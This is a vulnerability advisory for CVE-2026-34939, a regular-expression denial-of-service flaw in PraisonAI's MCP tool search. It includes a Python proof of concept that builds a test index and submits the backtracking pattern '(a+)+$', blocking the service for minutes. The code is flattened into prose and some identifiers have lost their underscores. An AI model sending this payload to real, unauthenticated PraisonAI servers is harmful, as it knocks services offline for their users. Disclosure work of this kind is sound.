CVE-2026-34939: PraisonAI: ReDoS via Unvalidated User-Controlled Regex in MCPToolIndex.search_tools()

Summary

MCPToolIndex.searchtools() compiles a caller-supplied string directly as a Python regular expression with no validation, sanitization, or timeout. A crafted regex causes catastrophic backtracking in the re engine, blocking the Python thread for hundreds of seconds and causing a complete service outage.

Details

toolindex.py:365 (source) -> toolindex.py:368 (sink) python source -- query taken directly from caller, no validation def searchtools(self, query: str) -> List[ToolInfo]: import re

sink -- compiled and applied with no timeout or exception handling pattern = re.compile(query, re.IGNORECASE) for tool in self.getalltools(): if pattern.search(tool.name) or pattern.search(tool.hint): matches.append(tool)

PoC python tested on: praisonai==1.5.87 (source install) install: pip install -e src/praisonai import sys, time, json sys.path.insert(0, 'src/praisonai') from pathlib import Path

mcpdir = Path.home() / '.praison' / 'mcp' / 'servers' / 'testserver' mcpdir.mkdir(parents=True, existok=True) (mcpdir / 'index.json').writetext(json.dumps([ {"name": "a" 30 + "!", "hint": "a" 30 + "!", "server": "testserver"} ])) (mcpdir / 'status.json').writetext(json.dumps({ "server": "testserver", "available": True, "authrequired": False, "lastsync": time.time(), "toolcount": 1, "error": None }))

from praisonai.mcpserver.toolindex import MCPToolIndex index = MCPToolIndex()

start = time.monotonic() results = index.searchtools("(a+)+$") print(f"Returned in {time.monotonic() - start:.1f}s") expected output: Returned in 376.0s

Impact

A single crafted query blocks the Python thread for hundreds of seconds, causing a complete service outage for the duration. The MCP server HTTP transport runs without an API key by default, making this reachable by any attacker on the network. Repeated requests sustain the DoS indefinitely.